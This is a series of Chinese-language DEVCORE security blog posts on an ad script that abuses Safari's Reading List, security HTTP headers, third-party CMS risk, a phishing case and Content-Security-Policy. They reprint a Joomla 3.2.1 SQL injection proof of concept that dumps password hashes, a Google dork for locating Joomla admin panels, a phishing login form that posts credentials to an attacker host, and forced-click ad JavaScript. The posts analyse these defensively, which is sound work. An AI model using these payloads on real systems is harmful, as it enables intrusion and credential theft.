❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayDEVCORE

DEVCORE 新網站上線!

26 February 2014 at 16:00

DEVCORE 的新網站上線了!

非常感謝專業的 EVENDESIGN 幫我們設計精美的網站!

我們目前主要服務項目為滲透測試、資安教育訓練、資安事件處理、資安顧問服務,

各項服務的詳細內容可參考 Services 頁面。

同時,在官網中我們將會不定期提供最新的資安新知及技術文章,

希望藉由我們的力量讓大眾更清楚資訊安全的重要。

並且透過站內的教學文獻,讓開發者、管理者進一步了解駭客的思維、攻防的手法,

知己知彼,才能百戰不怠。瞭解如何攻擊,更能知道如何防禦。

若對我們的網站內容或服務有任何建議,歡迎您隨時與我們聯繫。

希望我們能為您的企業資訊安全最佳把關者!

歡迎隨時聯絡我們! contact [at] devco.re

奇優廣告 Qiyou 廣告手法剖析

5 March 2014 at 16:00

歡迎來到我們的技術文章專欄!

今天我們來談談「廣告顯示手法」。不少廣告商為了要增加廣告的曝光以及點擊率,會使用各種手法強迫使用者顯示廣告。例如彈出式視窗、內嵌廣告、強制跳轉等等。但這樣的手法有什麼好提的呢?今天有一個很特別的案例,讓我們來看看一個網站「1kkk.com 極速漫畫」。

奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com
這是一個常見的網路漫畫網站,接著點擊進去漫畫頁面。

奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 漫畫頁面
網站中充斥著煩人的廣告,並且突然一閃而過 Safari 的「閱讀列表」動畫。怎麼會突然這樣呢?讓我們打開「閱讀列表」一探究竟。

奇優廣告 Qiyou 廣告手法剖析 - Safari 顯示閱讀側邊欄
奇優廣告 Qiyou 廣告手法剖析 - Safari 閱讀列表被放置廣告 URL

打開閱讀列表之後,我們赫然發現裡面被加了非常多廣告的頁面!

可以看以下影片示範:

這是怎麼做到的呢?就是一種利用 JavaScript 控制滑鼠點擊的變形應用。點選「網頁檢閱器」或是「開發者工具」,會看到一段奇怪的 JavaScript 控制滑鼠的點擊行為。

奇優廣告 Qiyou 廣告手法剖析 - 廣告 JavaScript

分析節錄後的 code 如下:

<!DOCTYPE html>
<html>
<head>
  <script>
    var force_add_url_to_readinglist = function (target_url) {
      try {
        var fake_element = document.createElement('a');
        fake_element.setAttribute('href', target_url);
        fake_element.setAttribute('style', 'display:none;');

        // https://developer.mozilla.org/en-US/docs/Web/API/event.initMouseEvent
        var fake_event = document.createEvent('MouseEvents');
        fake_event.initMouseEvent('click', false, false, window, 0, 0, 0, 0, 0, false, false, true, false, 0, null);
        fake_element.dispatchEvent(fake_event);

      } catch ( error ) {
        // nothing.
      }
    };

    var url = 'http://google.com/?' + Math.random().toString().substr(1);
    force_add_url_to_readinglist(url);
  </script>
</head>

<body>

  <h1>Test: FORCE_ADD_URL_TO_READINGLIST</h1>

</body>
</html>

利用「initMouseEvent」模擬滑鼠的點擊,在 URL 上按下 Shift 鍵點擊。在一般瀏覽器中是「開啟新視窗」,在 Safari 中則是「加入閱讀清單」了,因此形成廣告視窗不斷加入閱讀清單的現象。廣告商利用這種手法增加廣告的點擊率,只要瀏覽器沒有安裝阻擋廣告的套件或者是阻擋「彈出式視窗」,你就會成為流量的貢獻者。

經過我們的測試,Internet Explorer、Mozilla Firefox 不會受這類攻擊影響,Google Chrome、Opera 則會被內建的 Pop-up 視窗阻擋功能擋下。但若是直接模擬點擊,則全數瀏覽器都會受影響導向至 URL。雖然這種類型的攻擊不會造成實質上的損失跟危害,但若是結合其他惡意手法將可以造成攻擊。例如透過網站掛碼將使用者導向至惡意網站等等。

若要避免此類型攻擊,有以下幾個建議方案:

  1. 安裝 NoScript 類型套件,僅允許可信賴的網站執行 JavaScript
  2. 開啟「彈出式視窗」阻擋功能,並將網站安全性等級提高。
  3. 安裝 AdBlock 等廣告阻擋套件(但會影響網站營收)
  4. 使用最新版本瀏覽器以策安全

網頁型的攻擊越來越多樣化,除了依賴瀏覽器本身的保護並輔以第三方安全套件之外,更需要使用者本身的安全意識,才能安心暢快的瀏覽網路!

HTTP Headers 的資安議題 (1)

9 March 2014 at 16:00

前言

隨著駭客攻擊事件日益漸增,原本經常被大眾所忽視的網站資安問題,現在已經逐漸受到重視。但是,許多企業主或開發人員雖然很想強化網站的安全性,卻不知道該如何從何著手。

企業主通常想到的改善方案是添購資安設備,希望可以一勞永逸。我們姑且先不談「資訊界沒有永遠的安全」這件事,企業光是要買到有效的資安設備就是一件令人頭痛的事情,不但要花許多時間聽取廠商的簡報,耗費大筆的經費採購,購買之後還要請員工或原廠技術人員協助調校、設定或教學,否則買了等於沒買。

而對於技術人員來說,若要強化網站安全性,必須先了解駭客如何攻擊,才知道如何建立根本性的防禦機制。但是企業主通常捨不得送員工去參加專業的教育訓練,台灣員工拿的 22k 低薪也低得常常令人捨不得花錢去上課。

如果有一種方式可以增強網站的基本安全性,而且不需要花大錢,又可以讓開發人員不用大幅度變更程式,應該是個皆大歡喜的方案?

究竟有沒有低成本的簡易防禦方法?

有的!目前各家瀏覽器 (Google Chrome、Firefox、Safari、IE) 其實已經支援許多種資安相關的 HTTP headers。開發人員若在伺服器設定加入某些 headers,瀏覽器收到 response 時就會執行相對應的防禦機制,如此一來可直接提升網頁應用程式的基本安全性。這些 HTTP headers 通常也已被許多常見的 framework 納入爲基本功能,即使開發人員不清楚如何修改伺服器相關設定,也可以依靠 framework 提供的方式來使用這些 headers。因此使用這些 headers 來提升網站安全性就成爲頗具 CP 值的方式。

目前最常見的資安相關 HTTP headers 可參考 OWASP 網站 所條列的內容:

  • Content-Security-Policy (X-Content-Security-Policy、X-Webkit-CSP 都是同一系列)
  • Strict-Transport-Security
  • X-Content-Type-Options
  • X-Frame-Options
  • X-XSS-Protection

還有一些其他的資安相關 HTTP headers 也值得注意:

  • Access-Control-Allow-Origin
  • X-Download-Options
  • X-Permitted-Cross-Domain-Policies

最後有一項比較特別的是 Cookie 的安全設定,由於 Cookie 也是 HTTP headers 的一部份,因此本文也將其列出:

  • Set-Cookie: HttpOnly
  • Set-Cookie: Secure

上述 headers 的數量是不是稍微超過你的想像?其實這些技術早已被很多大公司採用,像是 Google、Facebook、Twitter 等常見的網路服務都可看到這些 headers 的蹤影。下面這張圖片使用 Chrome 的 Inspector 來觀察 Twitter 的 HTTP response 內容:

Twitter 的 HTTP reponse

從畫紅線的部分我們可看到 Twitter 在 Cookie 設定了 Secure 與 HttpOnly 這兩個屬性,並且採用了 Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 這幾種 headers。

如果覺得用圖形界面太麻煩,也可以使用 command line 的工具來觀察。下面這張圖片使用 curl 來觀察 Facebook 的 HTTP response 內容:

Facebook 的 HTTP response

上述資安相關的 headers 想解決哪些問題?

目前這些資安相關的 HTTP headers 想解決的問題主要可分為以下五大類:

  • 防禦 XSS (Cross Site Scripting):
    • Content-Security-Policy
    • Set-Cookie: HttpOnly
    • X-XSS-Protection
    • X-Download-Options
  • 防禦 Clickjacking:
    • X-Frame-Options
  • 強化 HTTPS 機制:
    • Set-Cookie: Secure
    • Strict-Transport-Security
  • 避免瀏覽器誤判文件形態:
    • X-Content-Type-Options
  • 保護網站資源別被任意存取:
    • Access-Control-Allow-Origin(此 header 若設定錯誤會適得其反!)
    • X-Permitted-Cross-Domain-Policies

其中 XSS 與 Clickjacking 是目前常見的攻擊手法,尤其 XSS 目前仍高居 OWASP Top 10 2013 的第三名,其嚴重性可見一斑。而在我們執行過的許多滲透測試案之中,被我們找出 XSS 弱點的網站高達九成!實在是不能輕忽這些問題。若能降低這些手法攻擊成功的機率,企業的利益就能有更多的安全保障,客戶對企業的信賴亦會更加穩固。

目前這些 headers 的使用狀況?

這麼簡便的基本防禦方式,理當廣為企業所採用,因此我們針對 Alexa Taiwan Top 525 中挑出 513 個可正常使用的網站(咦?一般不是 Top 500 嗎?我沒騙你,真的有 525),調查這些網站是否使用某些常見的 HTTP headers。結果相當令人失望,許多網站都未採用這些 headers。統計數據如下圖:

HTTP headers statistic of Alexa Taiwan Top 513

從統計結果中可發現最多人使用的 HttpOnly 只有 21.25%,排名第二的 X-Frame-Options 也只有 7.80%。而且這些數據尚未將 Google、Twitter 等大公司排除,若將前述國際公司排除後,這些比率恐怕會更低。

不過在上述網站中有不少入口網站、漫畫網站、色情網站,或是公司並非台灣企業,無法反應台灣的使用狀況。恰好在 2012 年 10 月台灣有許多網路服務公司一同成立了 TIEA 台灣網路暨電子商務產業發展協會,目前網站上的會員名單中有 116 個會員,其中不少頗具代表性,正好可觀察這些公司營運的網站是否有採用這些 headers。統計數據如下圖:

HTTP headers statistic of TIEA

很可惜地,所有 headers 的採用率比起上一份數據都還要低。除非公司網站僅使用靜態頁面,網站上沒有任何商業邏輯、帳號、個資,否則應該都要使用合適的 headers 為你的資安防禦工事多築一道牆。

而且由於 meeya 目前沒有正式官網,是直接使用 facebook 粉絲頁作為官網,因此 Content-Security-Policy、Set-Cookie Secure、Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 等六項 headers 的統計數量都還要再減一,頓時 Content-Security-Policy 與 Strict-Transport-Security 的總數量皆降至 0 個。此狀況顯示出,即使是在一些台灣主流的網站中,相關營運人員在資安領域仍有許多努力與學習的空間。

許多台灣企業經常顧著衝業績、開發新功能、趕著讓新服務上線,卻忽略了非常重要的基礎資安建設,往往是在遭到攻擊後才大呼損失慘重,甚至是已被滲透了而不自知,其企業利益與民眾個資的保障皆相當令人擔憂。

下集預告

接下來本文的續作我們會分幾個篇章詳談各種 headers 的使用方式並介紹實際案例,下一篇將會探討專門防禦 XSS 的 HTTP headers,敬請期待!等不及的朋友們就請先用上面的一些關鍵字自行上網查詢囉!

使用第三方套件所要擔負的資安風險

13 March 2014 at 16:00

使用第三方套件節省開發時間,已經是整個資訊產業的慣例。但是很多管理者可能不知道,使用第三方套件到底需要擔負多大的資安風險。你確定你用的套件是安全無虞的嗎?是否有經過嚴謹的安全測試?若有安全漏洞引爆,是否有廠商可以負責維護修補?廠商開發的程式碼品質是否穩定?這些都是在使用之前必須要考慮的。

在服務眾多客戶之後,我們深知這些問題的嚴重性。以下我們將就幾個經典的案例來說明使用第三方套件所要擔負的風險,並且分享我們對於第三方套件的安全建議。

程式碼的安全性?

程式碼的品質直接決定了系統的安全性。如果一個套件有以下幾點因素:

  1. 程式開發已久難以修改
  2. 開發人員無安全觀念
  3. 大量整合外部套件,無法控管每個套件安全

可能就因為程式碼難以修改,形成漏洞百出的程式架構。若是之後陸續發生安全問題,儘管不斷的修補漏洞,但卻會因為程式碼的設計、架構等因素,造成日後依舊陸續有安全疑慮。

案例說明:DedeCMS

DedeCMS 是知名的內容管理系統,不少公司拿此套件架設網站、部落格等。但在這幾個月,在「烏雲平台」上陸續有人揭露 DedeCMS 的漏洞。包括大量各種 SQL Injection、Cross-Site Scripting 弱點等等,甚至還包括 Command Execution 問題。如果沒有即時修正這些問題,小則造成用戶帳號被盜,大則造成整台主機被入侵,取得作業系統權限。

烏雲漏洞報告平台

什麼系統沒被找到漏洞過呢?有那麼嚴重嗎?但該系統已經不只一次出現重大漏洞導致企業遭到入侵,在今年一二月份更是遭揭露多達十數個高風險 SQL Injection 資料庫注入漏洞。此現象凸顯該套件的設計並未經過安全測試,並且採用不安全的程式撰寫方式,未來可能會有更多隱含的漏洞釋出。

dedecms漏洞於烏雲平台

在平台中搜尋關鍵字「DedeCMS」,會發現漏洞提報的次數相當多,在漏洞的評論中也有不少技術人員進行討論。但更多的疑惑是為什麼 DedeCMS 會一再的發生資安問題。例如以下漏洞:

dedecms漏洞於烏雲平台

而於另一個「Sebug 安全漏洞信息庫」也可以看到不少 DedeCMS 的蹤影。

sebug安全漏洞信息庫

如果官方在第一時間就能接獲通報、了解問題並修正解決,提供更新程式給客戶更新,那安全的風險會小些。但在官方尚未釋出更新的這段時間,網站將完全的暴露在風險當中。有心人士看到套件的漏洞陸續被揭露,也會更有興趣尋找使用該套件的網站攻擊。

案例說明:Joomla!

Joomla! 是另一套國際非常知名的 CMS 系統,因為其便利性,很多企業、學校、政府單位,都採用此套件建立網站。透過 Google Hacking 方式可以找到台灣非常多網站都使用 Joomla! 架站。

site:tw intitle:管理區 inurl:administrator

Google Hacking 尋找 Joomla!

但是如果今天這個系統出了問題呢?「Joomla!」因為外掛、套件眾多,也經常成為漏洞發掘的對象。在 2014/02/05,國外釋出了一個 SQL Injection Exploit,可以導致網站帳號密碼直接被導出。

官方安全公告:http://developer.joomla.org/security/578-20140301-core-sql-injection.html

Secunia: Joomla! Multiple Vulnerabilities http://secunia.com/advisories/56772/

Exploit 位址:http://www.exploit-db.com/exploits/31459/

# Exploit Title: Joomla 3.2.1 sql injection
# Date: 05/02/2014
# Exploit Author: [email protected]
# Vendor Homepage: http://www.joomla.org/
# Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip
# Version: 3.2.1 (default installation with Test sample data)
# Tested on: Virtualbox (debian) + apache
POC=>
http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=\
 
will cause an error:
 
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )
 
I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)
 
Now i can easily exploit this flaw:
 
http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29
and obtain the hash:
 
1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5
 
CheerZ>

值得注意一看的是官方公告,上面標註著漏洞回報時間以及修補時間。2014/2/6 接獲回報,2014/3/6 修復。在這整整一個月的時間之內,所有適用版本內的 Joomla! 網站都將受此漏洞影響。因此套件廠商的反應修復速度越慢,顧客暴露在風險之中的時間越長。

Project: Joomla!
SubProject: CMS
Severity: High
Versions: 3.1.0 through 3.2.2
Exploit type: SQL Injection
Reported Date: 2014-February-06
Fixed Date: 2014-March-06
CVE Number: Pending

案例說明:外包廠商

這樣的情境你是否熟悉?

公司有一套客製化的系統需要建置,但是因為公司內部開發人員不足,因此把這個系統外包出去給廠商做。貨比三家不吃虧,比了 A B C 三家,發現 A 家最便宜實惠,交貨時間又短。決定就把這個系統發包給 A 廠商做。半年過去了,這個廠商順利交貨結案。

一年過後,發現這個系統竟然遭到入侵,主動攻擊內部其他伺服器。「不是有買防火牆嗎?怎麼還會被入侵?」老闆說。這可嚴重了,馬上找廠商來刮一頓。沒想到,A 廠商表示,該案已經順利結案,維護期也已經過了,沒辦法提供協助,除非繼續簽訂維護合約。問題總得解決,簽訂了維護合約之後,A 廠商也協助把病毒砍掉了。圓滿結束?事情有那麼簡單嗎?

過了兩天,系統又開始攻擊其他伺服器。「病毒不是已經砍掉了嗎?」老闆說。問題在哪大家應該都很清楚。在尋找資安廠商協助之下,發現主機是因為 A 廠商設計的系統含有漏洞,導致 SQL Injection 問題,遭攻擊者利用植入惡意程式。A 廠商百般無奈,摸摸鼻子把這個漏洞修補起來。又過了兩天,再度遭到入侵。看了看,發現又是另一個 SQL Injection 問題。在幾次與攻擊者的不斷角力之下,終於好像把問題都修完了。

過了一週,系統再度有惡意程式的蹤跡,A 廠商也無能為力。資安廠商表示,買這個就對了!在陸續被迫買了防火牆、WAF、IDS 等設備後,雖然問題貌似改善,但系統仍然零星有入侵事件發生。公司只好「斷然處置」,等待下次預算,另請廠商重新開發系統。

  • 問題 1:該系統是否還有其他漏洞?
  • 問題 2:公司的處置是否正確?
  • 問題 3:A 廠商的其他客戶是否有類似的問題?
  • 問題 4:不是有買資安設備?為什麼還會有資安事件?
  • 問題 5:公司該如何自保?
  • 問題 6:廠商該如何自保?

想一下以上各點問題。

  • 問題 1:該系統是否還有其他漏洞?

如果一個在開發時期就沒有注意安全的系統,很有可能有更多不為人知的漏洞。如果被動依賴資安事件,發生一件修一個漏洞,那是永無止盡的。正確的方式應該是直接針對 A 廠商的原始碼進行黑箱滲透測試、白箱源碼檢測 (Code Review),才能快速找出所有風險。

  • 問題 2:公司的處置是否正確?

「貨比三家不吃虧」,節儉確實是美德,但是在資訊產業中,越便宜的系統可能代表著更多的 cost down,除了犧牲掉品質之外,可能帶給企業更多損失。在資安事件發生時,一定要找原本維運廠商負責,並且與資安顧問公司配合,協助廠商把問題解決。

  • 問題 3:A 廠商的其他客戶是否有類似的問題?

羅馬不是一日造成的,不安全的系統也不是一個漏洞造成的。廠商通常是做出一份系統,客製化販賣給不同的企業用戶。如果在建置的過程中沒有注意安全問題,今天這家客戶有這個漏洞,別的客戶一定也會有。因此如果採用了不良的廠商實作的系統,下一個被駭的可能就是自己。

  • 問題 4:不是有買資安設備?為什麼還會有資安事件?

「不是有買防火牆嗎?怎麼還會被入侵?」是很多傳統思維企業的共同心聲。防火牆不是萬靈丹,駭客也絕對不是電腦。並不是完全依賴資安設備就能夠避免資安問題。在駭客的手法中,更多是如何繞過各種防禦設備手段,甚至有些資安設備本身竟然含有資安弱點,企業反而因為資安設備導致系統被入侵。

正確的思維應該是從人開始做起,建立正確的資安觀念、資安思維,學習駭客的思維。建立正確的系統開發流程、建立正確的資安事件處理流程。尋找信譽良好的資安顧問廠商,定期針對企業內部各系統進行滲透測試、弱點掃描。安全的建立絕非一蹴可及,唯有一步步踏穩才能走得更遠。

  • 問題 5:公司該如何自保?
  • 問題 6:廠商該如何自保?

請看下一個章節「建議對策」。

建議對策

Countermeasure

一個安全的系統,絕對是由基礎建設開始,每個環節都兼顧到安全的設計,並且定期稽核程式碼安全,使用正確安全的方式開發。如果系統開發初期就沒有兼顧安全,後期不管怎麼修補,都還是會有漏洞讓攻擊者有機可趁。

企業該如何自保?使用 OpenSource 第三方套件或者是系統委外開發,是企業無可避免的。如果是第三方套件,平時可以多加注意套件的資安消息,如果一有新的漏洞被發現,將可以在第一時間應變。若沒有足夠人力密切注意資安消息,也可以委請資安顧問廠商協助,在得知資安消息的第一時間通報企業。委外開發的系統,企業可以要求廠商提出專業公正第三方資安公司進行檢測,並且提出安全報告,證明該系統有經過滲透測試等安全檢測,保障雙方的權利。

如果系統已經被入侵了,或者是被揭露了安全漏洞,該如何自保呢?在漏洞大量揭露的情況下,系統更會成為攻擊者的目標。因此要務必密切注意使用該套件的伺服器狀況,並且遵循以下原則:

  • 密切注意官方的更新程式並立即更新
  • 此台伺服器的帳號密碼切勿與他台共用
  • 將此台伺服器與其他伺服器隔離,避免遭入侵時受害範圍擴大
  • 異地備份伺服器的系統記錄,並定時檢閱記錄,觀察是否有可疑行為
  • 考慮採用 Web Application Firewall (WAF)、ModSecurity 伺服器安全模組,增加攻擊難度
  • 重新評估使用遭入侵套件的必要性以及安全考量,避免成為企業的隱含風險

使用第三方套件加速開發節省成本的同時,務必也要考慮安全的問題,才不會因小失大,造成企業更大的損失。同時企業也必須增加資安的素養以及了解攻擊者的思維,別讓自己的企業成為下一個資安事件報導的對象。

Google 帳號釣魚案例

30 March 2014 at 16:00

最近身邊的朋友不斷的收到 Gmail 中 Google 的警告:

Gmail state-sponsored attacker warning

Gmail 國家資助的攻擊者警告

駭客間的戰爭已經不只是個人對個人,而已經擴大成國家對國家。一個國家為了獲取他國的機密文件、情報、個人資料等,都會想盡各種辦法入侵帳號、寄送惡意郵件、釣魚盜取密碼等。而身為受害者的我們能做什麼呢?Google 官方提出的建議是:加強密碼安全、注意登入 IP 位址、更新自己使用的軟體、開啟二階段驗證。當然有良好的資安意識才是更重要的。

正好今天收到一個簡單的案例,提供給各位參考。

在信箱中躺著一封很像是國外客戶的信件「Company Profile / Order Details」。內容看起來也很正常,並且附上了公司的基本資料為附加檔案。

釣魚信件

點開附件,會發現畫面先跳了 JavaScript 警告視窗後,隨即導向到 Google 登入頁面。

注意看,這個登入頁面是真的嗎?有沒有發現畫面上的「Stay signed in」前面的勾變成方框了?瀏覽器上的網址也是在本機的位址。想想看,怎麼可能點了附件之後,跳轉到 Google 登入畫面?

釣魚信件附件假冒 Google 登入

讓我們看一下原始碼,會發現他的 form 被改成一個奇怪的網址,看起來就是惡意網站。其餘網頁的部份都是從 Google 真實的登入頁面抓取下來修改的。因此只要一不注意,就會以為是真的 Google 登入畫面而輸入帳號密碼。

釣魚信件原始碼

節錄部分 code 如下:

<form novalidate="" method="post" action="http://cantonfair.a78.org/yahoo/post.php" id="gaia_loginform">
  <input name="GALX" value="6UMbQQmFgwI" type="hidden">
  <input name="continue" value="http://mail.google.com/mail/" type="hidden">
  <input name="service" value="mail" type="hidden">
  <input name="hl" value="en" type="hidden">
  <input name="scc" value="1" type="hidden">
  <input name="sacu" value="1" type="hidden">
  <input id="_utf8" name="_utf8" value="☃" type="hidden">
  <input name="bgresponse" id="bgresponse" value="js_disabled" type="hidden">
  <input id="pstMsg" name="pstMsg" value="1" type="hidden">
  <input id="dnConn" name="dnConn" value="" type="hidden">
  <input id="checkConnection" name="checkConnection" value="youtube:424:1" type="hidden">
  <input id="checkedDomains" name="checkedDomains" value="youtube" type="hidden">
<label class="hidden-label" for="Email">Email</label>
<input id="Email" name="Email" placeholder="Email" spellcheck="false" class="" type="email">
<label class="hidden-label" for="Passwd">Password</label>
<input id="Passwd" name="Passwd" placeholder="Password" class="" type="password">
<input id="signIn" name="signIn" class="rc-button rc-button-submit" value="Sign in" type="submit">

發現了嗎?其中 form 的 action 欄位被取代成「http://cantonfair.a78.org/yahoo/post.php」,而這個頁面會直接接收受害者輸入的帳號密碼,並且自動跳轉到真正的 Google 登入頁面。攻擊者從 a78.org 這個網站中直接取得所有被駭的人輸入的帳號密碼。

這是一個很簡單、典型、又易被發現的釣魚案例。如果一時不察不小心輸入了帳號密碼,下次帳號被盜的就是自己。建議大家在收取信件的時候遵循幾大原則:

  1. 不隨便開啟附加檔案:附件常夾帶惡意程式、執行檔、惡意文件、釣魚網頁等,切勿隨便開啟。可使用 Google Docs 開啟附件文件防止惡意文件攻擊 Adobe PDF Reader、Microsoft Office 等程式。更常有把惡意程式加密壓縮後寄出,在信中附上密碼,借此規避防毒軟體的偵測,不可不慎。
  2. 注意信件中的超連結 URL:釣魚信件常在超連結中使用惡意網站的 URL,在點選之前務必仔細檢查,更要小心「Google」及「Goog1e」之類的英文數字差異。
  3. 注意信件中的語氣:有的時候攻擊者仿冒你身邊可信任的人寄信給你,但是語氣、用詞要非常精準。如果出現了「尊敬的用戶您好」你就會發現這個應該不太像是台灣本土的信件用語。
  4. 不在信件中夾帶機敏資料:信件是不安全的,切勿在信中提到帳號、密碼、個資等機密資料。
  5. 不回應陌生郵件:郵件中會夾帶自己的 IP 位址,回應信件可能讓攻擊者得到這些資料。
  6. 使用安全的郵件軟體:若使用安全的郵件軟體、平台,例如 Gmail,遇到惡意郵件時,會即時阻擋並且警告用戶。如果使用自己的郵件軟體,就要特別注意釣魚等攻擊。

電子郵件的攻擊已經成為滲透攻擊主要的手法之一,不少國際資安事件都是肇因於惡意郵件。例如 2013 年韓國 DarkSeoul 事件,以及竄改交易匯款資料郵件詐取匯款等。身為目標的我們更要時時注意使用電子郵件時的安全事項。

Content-Security-Policy - HTTP Headers 的資安議題 (2)

7 April 2014 at 16:00

Content-Security-Policy

還記得在上一篇 HTTP headers 的資安議題 (1) 文章中,我們提到了多種資安相關的 HTTP headers 嗎?接下來的幾篇文章我們會介紹幾個專門對付 XSS 的 HTTP headers,首先就由 Content-Security-Policy 打頭陣。

Content-Security-Policy(以下簡稱 CSP)是從 2010 年被提出來的一項 Web 規格,主要目的是用來防止 Cross-Site Scripting(以下簡稱 XSS)跟網頁樣式置換(例如科技部被惡搞就是一個最好的例子)。經過五年發展,CSP 1.0 已從 W3C 的 TR (Technical Report) 變成 Candidate Recommendation,應該不久就會將成為 W3C 推薦標準。新的 CSP 1.1 則仍在草案階段。

CSP 家族龐大,總共有三個類別,六個項目:

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only
  • X-Content-Security-Policy
  • X-Content-Security-Policy-Report-Only
  • X-WebKit-CSP
  • X-WebKit-CSP-Report-Only

在 CSP 發展初期,主流瀏覽器並未全部依照同一標準來開發,因此發展成這三種類別。目前由於 CSP 1.0 即將成為標準,大多數瀏覽器已支援 Content-Security-Policy 這個類別,因此狀況已逐漸收斂。主流瀏覽器的支援列表如下圖:

Content-Security-Policy 瀏覽器支援列表

從列表中可看到,只要使用 Content-Security-Policy 與 X-Content-Security-Policy 就已有很高的覆蓋率,除非要支援 Safari 6,否則不用特意使用 X-WebKit-CSP。更詳細的瀏覽器支援列表可參考 Can I use。

CSP 1.0 主要作用

  • 載入來源白名單

    宣告一組受信任的白名單與資源種類(如 JavaScript, CSS, image 等等),使瀏覽器只能從此白名單中載入資源,藉此防止攻擊者從外部引入含有惡意程式碼的資源。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘self’ http://js.devco.re; style-src ‘self’ http://css.devco.re; img-src ‘self’ data:; frame-src ‘none’

    效果:限定 script 資源只能從 http://js.devco.re 載入;限定 style 資源只能從 http://css.devco.re 載入;限定 img 只能從相同 domain 載入,並且支援 data scheme;限定 frame 不能從任何來源載入;除了 script、style、img、frame 之外的資源,則只能從同樣 domain 以及同樣協定的來源載入。

  • 禁止 inline 程式碼

    一般人開發網站時為求便利,經常會在 HTML 中寫入一些 inline 程式碼,但攻擊者意圖入侵網站時也常用此手法。然而瀏覽器其實無法分辨這些 inline 程式碼究竟是開發人員寫的,還是攻擊者植入的。因此 CSP 乾脆強迫開發者必須把所有 inline 程式碼移到外部檔案,完全杜絕在 HTML 中出現 inline 程式碼的狀況。因此除非你在 CSP 宣告時有註明 ‘unsafe-inline’,否則 CSP 預設禁止使用 inline script 或 inline CSS。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-inline’

  • 禁止 eval 函式

    eval() 對許多開發者來說一直是個非常方便的函式,然而若缺乏資安觀念,使用此函式時很可能會導致潛在的 XSS 風險。因此除非你在 CSP 宣告時有註明 ‘unsafe-eval’,否則 CSP 預設禁止使用 eval() 函式。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-eval’

  • 防止 sniffer

    由於 CSP 可指定載入資源時強制使用 https 協定,因此可降低被 sniffing 的機率。

    例:Content-Security-Policy: default-src http://devco.re; img-src https:

    效果:限定圖片只能從 https 協定載入,不限定 domain。而除了圖片之外的資源則可從任意來源載入。

CSP Demo

下面這一段程式碼,使用 default-src * 讓相關資源可正常顯示:

<?php
header("Content-Security-Policy: default-src *");
?>

<html>
    <head>
        <title>CSP Demo Site</title>
    </head>
    <body>
        <h3>Content Security Policy Demo Site</h3>
        <img width="200" height="200" src="http://devco.re/assets/themes/devcore/images/double-sticker.png"></img>
        <iframe frameborder='0' width='300' height='200' src='http://www.youtube.com/embed/E-BGf1MwecU'></iframe>
    </body>
</html>

使用最寬鬆的 Content-Security-Policy 規則

接下來我們將 php header 的那一行程式碼修改如下並且 reload 瀏覽器頁面:

<?php
header("Content-Security-Policy: default-src *; img-src https:; frame-src 'none'");
?>

使用 Content-Security-Policy 限制 img 與 frame 的來源

使用 CSP 限制 img 與 frame 的來源種類後,我們可以從上圖 Chrome Inspector 的紅字觀察到,網站的圖片與 iframe 影片已被瀏覽器擋掉,無法載入。

如果擔心直接使用 CSP 會影響網站營運,但又想嘗試 CSP,可以先使用 Content-Security-Policy-Report-Only,示範如下:

<?php
header("Content-Security-Policy-Report-Only: default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo");
?>

Content-Security-Policy-Report-Only

由上圖可以看到,此 header 不會直接阻擋不符合 CSP 規範的資源,但是會根據使用者所違反的規則發送相對應的 POST request 至指定的 URI,發送內容如下:

{
  "csp-report": {
    "blocked-uri":"http://devco.re/",
    "document-uri":"http://yoursite.com/csp.php",
    "original-policy":"default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo",
    "referrer":"",
    "status-code":200,
    "violated-directive":"img-src https:"
  }
}

由發送內容可看出這個 request 因為違反了「img-src https:」規則而將「http://devco.re/」這個來源擋掉。經由此方式,可一邊修改網站一邊觀察是否仍有不符合 CSP 規範之處,等到所有違規的內容都修正完畢後,再將 CSP 套用到正式上線環境。

由於宣告方式非常多種,在這邊就不一一條列,若有興趣可前往 Content Security Policy Reference & Examples、Using Content Security Policy - Security | MDN 等網頁,有更完整的使用情境與範例可供參考。另外也有 Slide (by Ben Vinegar) 跟 YouTube 影片 (by Adam Barth) 可參考。

CSP 實際使用案例

